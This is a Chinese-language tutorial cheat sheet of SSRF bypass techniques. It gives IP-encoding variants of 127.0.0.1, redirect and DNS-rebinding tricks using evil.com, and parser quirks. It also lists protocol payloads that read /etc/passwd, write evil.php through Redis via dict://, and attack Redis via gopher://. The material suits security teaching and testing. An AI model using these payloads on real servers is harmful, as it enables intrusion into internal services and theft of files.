### SSRF 漏洞绕过方法

**1. IP 地址绕过**

服务器为了防止内网探测，通常会限制请求的目标IP，比如禁止访问私有IP地址（10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.1）。我们可以尝试一些技巧来绕过这些限制

- **十进制、八进制、十六进制等进制转换：**
  - **十进制：** `http://127.0.0.1` 可以转换为 `http://2130706433`
  - **八进制：** `http://127.0.0.1` 可以转换为 `http://0177.0.0.1` 或 `http://017700000001`
  - **十六进制：** `http://127.0.0.1` 可以转换为 `http://0x7f000001`
  - **混合进制：** 例如 `http://0x7f.0.0.1`
  - **域名解析：** `localhost` 可以解析为 `127.0.0.1`
  - **不完整 IP：** 某些系统会把 `127.1` 当作 `127.0.0.1` 处理
- **短地址服务或域名重定向：**
  - 攻击者可以利用短地址服务（如 bit.ly）或自己搭建一个网站，设置 302/307 重定向，将请求从白名单域名重定向到内网地址。例如，设置一个 `http://trusted.com/redirect`，当服务器请求此地址时，会自动跳转到 `http://192.168.1.1`
  - 这种方法常用于目标服务器只允许访问特定白名单域名的情况
- **利用 IPV6 地址绕过：**
  - 如果目标系统没有对 IPv6 地址进行过滤，那么 `::1` 就可以指向 `127.0.0.1`
- **利用 `xip.io` 或类似服务：**
  - `xip.io` 是一个将 IP 地址嵌入域名的服务。例如，`10.0.0.1.xip.io` 会解析为 `10.0.0.1`。如果服务器只限制了 IP，但未限制域名解析，这会是有效的绕过方法

**2. 协议绕过**

除了 HTTP/HTTPS 协议，许多库还支持其他协议。如果服务器没有对这些协议进行过滤，我们可以利用它们来访问服务器的本地文件或服务

- **`file://` 协议：**
  - `file:///etc/passwd` 可以读取 `/etc/passwd` 文件
  - `file:///C:/Windows/win.ini` 可以读取 Windows 系统的 `win.ini` 文件
  - **`dict://` 协议：**
    - `dict://127.0.0.1:6379/info` 可以查询 Redis 服务的信息
    - `dict://127.0.0.1:6379/config:set:dbfilename:evil.php` 可以用于写入恶意文件
- **`gopher://` 协议：**
  - 这是最强大的协议之一，可以发送任意 TCP 请求。攻击者可以利用它来攻击内网的各种服务，如 MySQL、Redis、FastCGI 等
  - 例如，攻击 Redis 服务：`gopher://127.0.0.1:6379/_*2%0D%0A$4%0D%0Ainfo%0D%0A`
- **`ftp://` 协议：**
  - 可以利用 FTP 协议在某些情况下进行端口扫描，或者发送自定义命令

**3. URL 解析绕过**

不同的URL解析器（如 PHP、Python、CURL 等）对 URL 的解析规则可能存在差异。利用这种差异，可以绕过基于正则表达式的过滤

- **利用特殊字符：**
  - `@` 符号：`http://example.com@127.0.0.1`，在一些解析器中，会忽略 `@` 前的内容，导致请求发往 `127.0.0.1`
  - `#` 符号：`http://127.0.0.1#example.com`， `#` 后面的内容通常被认为是片段标识符，会被忽略，从而请求 `127.0.0.1`
- **利用 URL 编码：**
  - 对 IP 地址进行URL编码，例如 `127.0.0.1` 编码为 `%31%32%37%2E%30%2E%30%2E%31`
  - 对 `.` 进行 URL 编码，例如 `http://127%2E0%2E0%2E1`
- **利用 DNS Rebinding：**
  - 这是高级且难以防范的技巧。攻击者控制一个域名，该域名在短时间内第一次解析为一个非内网 IP（通过白名单检查），第二次解析为内网 IP
  - **步骤：**
    1. 攻击者设置一个恶意域名 `evil.com`，其 DNS 记录 TTL（生存时间）设置为很低
    2. 第一次 DNS 解析，`evil.com` 解析为一个公网 IP，服务器通过白名单检查
    3. 服务器发起请求，但由于请求需要时间，在第二次DNS解析时，攻击者将 `evil.com` 的 DNS 记录修改为 `127.0.0.1`
    4. 服务器再次请求 `evil.com` 时，会请求到 `127.0.0.1`，从而绕过过滤